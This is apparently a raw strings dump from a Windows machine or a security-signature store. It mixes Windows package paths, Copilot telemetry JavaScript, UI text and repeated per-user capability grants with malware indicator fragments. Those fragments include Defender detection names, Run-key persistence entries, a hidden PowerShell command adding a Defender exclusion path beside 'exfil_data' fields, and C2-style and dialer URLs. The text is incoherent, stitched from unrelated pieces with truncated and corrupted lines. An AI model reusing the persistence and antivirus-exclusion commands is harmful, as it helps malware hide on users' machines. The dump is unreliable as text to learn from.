x-windowsupdate://370599C4-3C0D-4EB2-A6DC-CAEA0F8E4F9E/DE4F0463-7DB2-48EE-959C-70E02541F4E6/18d12f6ff28724e127a1280b879fad726f7d91d4\SnippingToolApp_11.2511.47.0_scale-100.msixix
x-windowsupdate://370599C4-3C0D-4EB2-A6DC-CAEA0F8E4F9E/DE4F0463-7DB2-48EE-959C-70E02541F4E6/18d12f6ff28724e127a1280b879fad726f7d91d4\SnippingToolApp_11.2511.47.0_x64.msixix
x-windowsupdate://370599C4-3C0D-4EB2-A6DC-CAEA0F8E4F9E/DE4F0463-7DB2-48EE-959C-70E02541F4E6/18d12f6ff28724e127a1280b879fad726f7d91d4d4v
C:\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\AppxManifest.xml
C:\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\AppxBundleManifest.xml
x-windowsupdate://4C0486CA-2416-4E96-93B4-CAA6D2275236/D4707837-4DB5-4B15-84FF-EF8C9EB20621/3af482b63af1a78cf47a1726ec86fa121f7a76d1d1
x-windowsupdate://B217B4EF-2EE3-4D3B-8152-4F4A59791F81/D4707837-4DB5-4B15-84FF-EF8C9EB20621/e6d716249e88d301a9719f5f2d52e19648f71738
x-windowsupdate://F363B8B7-42A3-4E47-AF97-DC73218F6DC1/2FF93C20-14BA-4CBD-BD81-0BC49484FDC6/99519416711358e8fee2d7dc0fa0c4ec2e397acf\WidgetsPlatformRuntime-x64.msixix
GetProcessWindowStation
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
    name="Microsoft.Windows.ProximityCommonPal"
b7^com.microsoft.windows.extension.shellhost.component
b8^com.microsoft.windows.extension.peopleexperienceplatformserver
com.microsoft.windows.extension.peopleexperienceplatformserver
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Security.Authentication.Web.Core.BackgroundGetTokenTask.ClassId.WebAccountProvider
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows
windows.fileTypeAssociation
windows.comServer
windows.comServer
windows.appExecutionAlias
windows.appExecutionAlias
windows.appExtensionHost
ite\WindowsSecurityWideTile.scale-125_contrast-white.png~`T
Assets\contrast-white\WindowsSecurityWideTile.scale-100_contrast-white.png~_X
Assets\contrast-white\WindowsSecuritySplashScreen.scale-400_contrast-white.png~^X
Assets\contrast-white\WindowsSecuritySplashScreen.scale-200_contrast-white.png~]X
Assets\contrast-white\WindowsSecuritySplashScreen.scale-150_contrast-white.png~\X
Assets\contrast-white\WindowsSecuritySplashScreen.scale-125_contrast-white.png~[X
Assets\contrast-white\WindowsSecuritySplashScreen.scale-100_contrast-white.png~ZU
Assets\contrast-white\WindowsSecuritySmallTile.scale-400_contrast-white.png~YU
Assets\contrast-white\WindowsSecuritySmallTile.scale-200_contrast-white.png~XU
Assets\contrast-white\WindowsSecuritySmallTile.scale-150_contrast-white.png~WU
Assets\contrast-white\WindowsSecuritySmallTile.scale-125_contrast-white.png~VU
Assets\contrast-white\WindowsSecuritySmallTile.scale-100_contrast-white.png~US
Assets\contrast-white\WindowsSecurityMedTile.scale-400_contrast-white.png~TS
Assets\contrast-white\WindowsSecurityMedTile.scale-200_contrast-white.png~SS
Assets\contrast-white\WindowsSecurityMedTile.scale-150_contrast-white.png~RS
Assets\contrast-white\WindowsSecurityMedTile.scale-125_contrast-white.png~QS
Assets\contrast-white\WindowsSecurityMedTile.scale-100_contrast-white.png~PU
Assets\contrast-white\WindowsSecurityLargeTile.scale-400_contrast-white.png~OU
Assets\contrast-white\WindowsSecurityLargeTile.scale-200_contrast-white.png~NU
Assets\contrast-white\WindowsSecurityLargeTile.scale-150_contrast-white.png~MU
Assets\contrast-white\WindowsSecurityLargeTile.scale-125_contrast-white.png~LU
Assets\contrast-white\WindowsSecurityLargeTile.scale-100_contrast-white.png~KW
Assets\contrast-white\WindowsSecurityAppList.targetsize-96_contrast-white.png~Jh
Assets\contrast-white\WindowsSecurityAppList.targetsize-96_altform-unplated_contrast-white.png~Im
Assets\contrast-white\WindowsSecurityAppList.targetsize-96_altform-lightunplated_contrast-white.png~HW
Assets\contrast-white\WindowsSecurityAppList.targetsize-48_contrast-white.png~Gh
Assets\contrast-white\WindowsSecurityAppList.targetsize-48_altform-unplated_contrast-white.png~Fm
Assets\contrast-white\WindowsSecurityAppList.targetsize-48_altform-lightunplated_contrast-white.png~EX
Assets\contrast-white\WindowsSecurityAppList.targetsize-256_contrast-white.png~Di
Assets\contrast-white\WindowsSecurityAppList.targetsize-256_altform-unplated_contrast-white.png~C:
Microsoft.Windows.Networking.Proximity.Service
Microsoft.Windows.Shell.NotificationQuietHours
Microsoft.Windows.Notifications.WpnApps
Microsoft.Windows.Licensing.SppSvc
WINDOWS.DATA.DONOTDISTURB.QUIETMOMENT$QUIETMOMENTFULLSCREEN
Microsoft.Windows.BackgroundAccessManager
Microsoft.Windows.CapabilityAccessManager.Aggr
Microsoft.Windows.Storage.WinRT
WINDOWS.DATA.DONOTDISTURB.QUIETMOMENT$QUIETMOMENTSCHEDULED
Microsoft.Windows.Firewall.PolicyIoManager
Microsoft.Windows.Desktop.AIAssistance
Microsoft.Windows.CapabilityAccessManager
Microsoft.Windows.Audio.CrossProcess
Microsoft.Windows.ComposableShell.Core.CoreShellExtFramework
WINDOWS.DATA.DONOTDISTURB.QUIETMOMENT$QUIETMOMENTPRESENTATION
regwrite("hkey_current_user\software\microsoft\windows\currentversion\run"
:software\microsoft\windows\currentversion\runonce
registry::hkey_current_user\software\microsoft\windows\currentversion\run
Cannot use non-WindowsCertificateStore location on Win32
,f,i.ImpressionGuid,null,null,null,"WindowsTelemetry",r)}else t.logEvent("ClientInst",null,null,o,u,i.ImpressionGuid,null,null,null);else{let e=t.createMasterPageImpression(t._instrumentationProvider.getSuggestionsPageName(),f,i.SnRProviderFetchUrl?i.SnRProviderFetchUrl.substring(i.SnRProviderFetchUrl.indexOf("?")+1):"",i.Query,o);if(u&&(e.layoutNodes=u),i.FvSug&&Object.keys(i.FvSug).length>0&&(e.enrichedClientInfo.FvSug=i.FvSug),i.HuSug&&Object.keys(i.HuSug).length>0&&(e.enrichedClientInfo.HuSug=i.HuSug),e.clientTimestamp=i.OriginalTimestamp,n.config.splitDataUploadEndpoint){if(n.config.splitImpression){const n=t.splitWindowsMasterPageImpression(e);n.length>=2&&(h=n[0],c=n[1])}n.shouldWindowsAndBingLogToBing()?t.logMasterPageImpression(i.ImpressionGuid,e):n.shouldBingLogToBing()&&(n.config.splitImpression&&c&&t.logMasterPageImpression(i.ImpressionGuid,c),n.config.pruneImpression&&t.logMasterPageImpression(i.ImpressionGuid,e));const r={eventType:n.LogEventType.Impression,type:n.DataComplianceTypeDefaultEmptyValue,subType:n.DataComplianceTypeDefaultEmptyValue,eventData:JSON.stringify(h)},f=[r.eventType,r.type,r.subType].join(n.DataComplianceEventNameSeparator),u=33554432;n.shouldWindowsLogToWindows(u)&&n.config.splitImpression&&h&&SearchAppWrapper.CortanaApp.wsbTelemetry.logEvent(f,n.DataComplianceSchemaVersion_1_0,i.ImpressionGuid,i.ConversationId,i.OriginalTimestamp,JSON.stringify(r),4,u,2)}else t.logMasterPageImpression(i.ImpressionGuid,e);if(n.shouldLogFlightAssignmentsToWindows()){let n=this._keystrokesFlightAssignment[r];n&&i.ImpressionGuid&&((s=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||s===void 0?void 0:s.logCriticalFlightsTelemetry(n,i.ImpressionGuid))}i.MasterPageImpressionCreated=!0}}}static splitLayoutNodes(t){if(t){let i=Object.assign({},t),r=Object.assign({},t);if(t.hasOwnProperty("L")){i.L=[];r.L=[];for(const n of t.L){let t=this.splitLayoutNodes(n);t[0]&&i.L.push(t[0]);t[1]&&r.L.push(t[1])}return i.L.length==0&&delete i.L,r.L.length==0&&delete r.L,[i,r]}if(t.hasOwnProperty("K")){let u=t.K.toString(),f=u.split(".",1)[0];return Number(f)>=n.InstrumentationCommon.KVALUE_HIDDEN?[i,null]:[null,r]}}return[null,null]}static splitDataSource(t){let i=[],r=[];for(const u of t){let s=u.DS,e=[],o=[],t=JSON.parse(JSON.stringify(u)),f=JSON.parse(JSON.stringify(u));t.DS=[];f.DS=[];for(const t of s)n.isWindowsData(t===null||t===void 0?void 0:t.Val)?e.push(t):o.push(t);t.DS=e;f.DS=o;i.push(t);r.push(f)}return[i,r]}static splitWindowsMasterPageImpression(n){if(n){let r=JSON.parse(JSON.stringify(n)),u=JSON.parse(JSON.stringify(n)),f=n.dataSources,[e,o]=t.splitDataSource(f);r.dataSources=e;u.dataSources=o;let s=n.layoutNodes;r.layoutNodes=[];u.layoutNodes=[];for(const n of s){var i=this.splitLayoutNodes(n);i.length>=2&&(i[0]&&r.layoutNodes.push(i[0]),i[1]&&u.layoutNodes.push(i[1]))}return[r,u]}return[]}static logPerfPingEvent(i){t.logEvent(i.EventType,i.Data,n.InstrumentationCommon.QFPERFPING_EVENT_NAME,null,null,i.ImpressionGuid,null,null,null,"WindowsTelemetry",16777216);n.ClientTestHooks&&n.ClientTestHooks.DebugLogNoConsole("perfPingEvent",[i])}static logMasterPageImpression(i,r){if(r){if(!i){n.LogWSBError("logMasterPageImpression",null,new Error("Missing impressionGuid"),undefined,undefined,"WindowsTelemetry");return}if((n.config.disableWSBServerTelemetry&&n.isThirdPartySearchAllowed()||n.Host.isOptionalDiagnosticDataDisabled())&&(r===null||r===void 0?void 0:r.pageName)!="Page.SmartSearch.AS.DSB")return;r.impressionGuid=i;t._instrumentationProvider.logMasterPageImpression(r,n.Host.getConversationId());n.ClientTestHooks&&n.ClientTestHooks.DebugLogNoConsole("masterPageImpression",r,i)}}static instrumentAppVisibleFinish(i){let r=n.getCurrentTime();t._conversationTimeline.AppVisibleStart=i;t._conversationTimeline.AppVisibleFinish=r}static instrumentAppShownFinish(i){var r;let u=n.getCurrentTime();t._conversationTimeline.AppShownStart=i;t._conversationTimeline.AppShownFinish=u;n.Host.getLogUserActivityDataEnabled()&&((r=t._userActivityManager)===null||r===void 0?void 0:r.upda
microsoft\windows\startmenu\program
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
icon=%systemroot%\system32\shell32.dll,4
openfoldertoviewfileusingwindowsexplorerabrircarpetaparaverarchivos
C:\WINDOWS\hunterC:\WINDOWS\ieploreritau.jsC:\WINDOWS\ctfrmon.exe.com.br/
windows updatekaspersky updatelockresource
${sxchost.exeicon="%SystemRoot%\system32\SHELL32.dll,8"http://masung.selfip.biz/
shell=verbaction=open folder to view filesicon=%systemroot%\system32\shell32.dll,4usb||*||infected drive 
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@2@@ZPEAU345678@AEBU?$_Ph@$00@2@AEBU?$_Ph@$01@2@AEBU?$_Ph@$02@2@@std@@
.P6A_NAEBUShutdownUXOption@Shutdown@UI@Internal@Windows@winrt@@@Z
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AU?$TypedEventHandler@UMenuItem@UI@WindowsUdk@winrt@@UMenuItemInvokedArgs@234@@Foundation@Windows@winrt@@
bwindows\system32\mshta.exe!c:\users\kofta\downloads\
Ic:\windows\system32
WHATswrongwithUuNOT_WANTEDNo Content%github.com/nknorg/nkn-sdk-go/payloadspreyid : #windows%!json:"tlsJsonRpcPort"!#ALF:Trojan:Win32/RootkitDrv!AMTB
powershell.exe -windowstyle hidden -command "start-process 'p
cmd.exe/c"c:\windows\explorer.exe
Global\\Windows\CurrentVersion\Run
WindowsSandboxConfig
Windows.Networking.BackgroundTransfer.Internal
Windows.Networking.BackgroundTransfer.Internal
Windows.Networking.BackgroundTransfer.Internal
Windows.Networking.BackgroundTransfer.Internal
WINDOWS;C:\WIN
\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
windows
is_vm=%d&av_software=%s/c powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%s%s'"exfil_data=%ssecuritycenter2 path antivirusproductpayload":Trojan:Python/NoodlophileStealer.DD!ams
67^windows.appExtension
68^windows.appExtension
	^windows.appExtensi
qWindows
&Windows10.0.16299.0
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy-Out-Allow-AllCapabilities
software\microsoft\windows\currentversion\run
,:\Windows A.V..lnk
\windows antivirus.lnk
\windows antivirus 2008.lnk
IsWindowsIdentity
Windows suggest Ease of Access settings
'^Windows To Go startup options8
y=system32\
\appdata\local\microsoft\windows\inetcache\content.word\node.js
="windowsupdate",[string]$
powershell.exe -WindowStyle Hidden -ExeTrojan:Win64/Ulise.SX!MTB
DriverData=C:\Windows\System32\Drivers\DriverData
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
TEMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp
TMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp
USERPROFILE=C:\WINDOWS\ServiceProfiles\LocalService
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsDuplicateString
<c:\windows\system32\
.dll,windows
%s /del2each process has an environment block associated with it. the environment block consists of a null-terminated block of null-terminated strings (meaning there are two null bytes at the end of the block), where each string is in the form:%s\higehsg.dllc:\windows\sysmsg.dll!PseudoThreat_c00008a1
software\microsoft\windows\currentversion\uninstall\carlsoncarlson dialerhttp://prs.payperdownload.nl9b4aa442-9ebf-11d5-8c11-0050da4957f5&lasterror=&linenumber=realnumbercallrecordshttp://prs.payperdownload.nl/radius/dialer_admin/geoipangel@carlton
software\microsoft\windows\currentversion\explorer\hidedesktopicons\newstartpanel\{871c5380-42a0-1069-a2ea-08002b30309d}software\policies\microsoft\internet explorer\control panel\secaddsitessoftware\policies\microsoft\internet explorer\control panel\homepagesoftware\microsoft\internet explorer\main\start pageurl1=http://www.ooooos.com/software\microsoft\windows\currentversion\run\pitc:\program files\internet explorer\iexplore.exehttp://www.xia3.com/krnln.fnr\seep.exe
*WvW.exeaction=getusergamehmoverthreadfalseravruneipSoftware\Microsoft\Windows\CurrentVersion\RunOnceaction=getyxlogin&u=
V3down filez: pora kachatj file #down conf: pora kachatj!dconf.info/hk/getc2.phpdown conf: vrode ok =software\microsoft\windows nt\currentversion\winlogon\notifykzlw625hk1.0.0.1
c:\windows\system32\deledomn.batc:\windows\system32\alletdel.batserveriedrivers/klif.sysauto\command=
\device\harddiskvolume.\windows\
setwindowshookexa
Internet Explorer_TridentDlgFrameWebBrowser1StatusTextChangeTWebBrowserOnMenuBarTProcessUrlActionEventSoftware\Microsoft\Windows\CurrentVersion\RunUser Agent\Post Platformhtmlfile\shell\open\ddeexec\applicationHonbeforeunloadh
\Software\Microsoft\Windows\CurrentVersion\RunBocal Mal X Mal M DOIDOSenha[BB]=-=-[spc]=-=-=Symantec Anti Virus
\Software\Microsoft\Windows\CurrentVersion\Run
Windows.UI.Xaml.Controls.GridView0
onecoreuap\shell\windows.storage.search\srchfldr.cpp
@%Systemroot%\system32\wbem\wmisvc.dll,-205
@{C:\Windows\SystemApps\Microsoft.ECApp_8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}41
C:%5CWindows%5CSystemApps%5CMicrosoft.LockApp_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\Microsoft.LockApp_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppDisplayName}
@{C:\Windows\SystemApps\Microsoft.LockApp_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}
@{C:\Windows\SystemApps\Microsoft.LockApp_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppDescription}
C:%5CWindows%5CSystemApps%5CMicrosoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe%5Cresources.pri
@{C:\Windows\SystemApps\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\resources.pri? ms-resource:///resources/DisplayName}
11@{C:\Windows\SystemApps\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\resources.pri? ms-resource:///resources/PublisherDisplayName}
@%windir%\system32\SystemEventsBrokerServer.dll,-1001
C:\WINDOWS\system32\backgroundTaskHost.exe
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ComCtl
Microsoft.Windows.Dui
TcpWindowSize
MHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" , "AVP" )R
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
+ga	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwei
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
-ga	documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwek
+ga	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwei
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
-ga	documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwek
+ga	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwei
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
-ga	documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwek
+ga	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwei
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
-ga	documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwek
+ga	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwei
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
'gW	videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwec
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
-ga	documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwek
+ga	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwei
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
+gW	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwed
'gW	videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwec
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
-ga	documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwek
+ga	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwei
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
+gW	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwed
'gW	videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwec
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
-ga	documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwek
+ga	picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwei
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
videosLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsCamera_8wekyb3d8bbwe
webcamS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microphoneS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
userAccountInformationS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
documentsLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
picturesLibraryS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
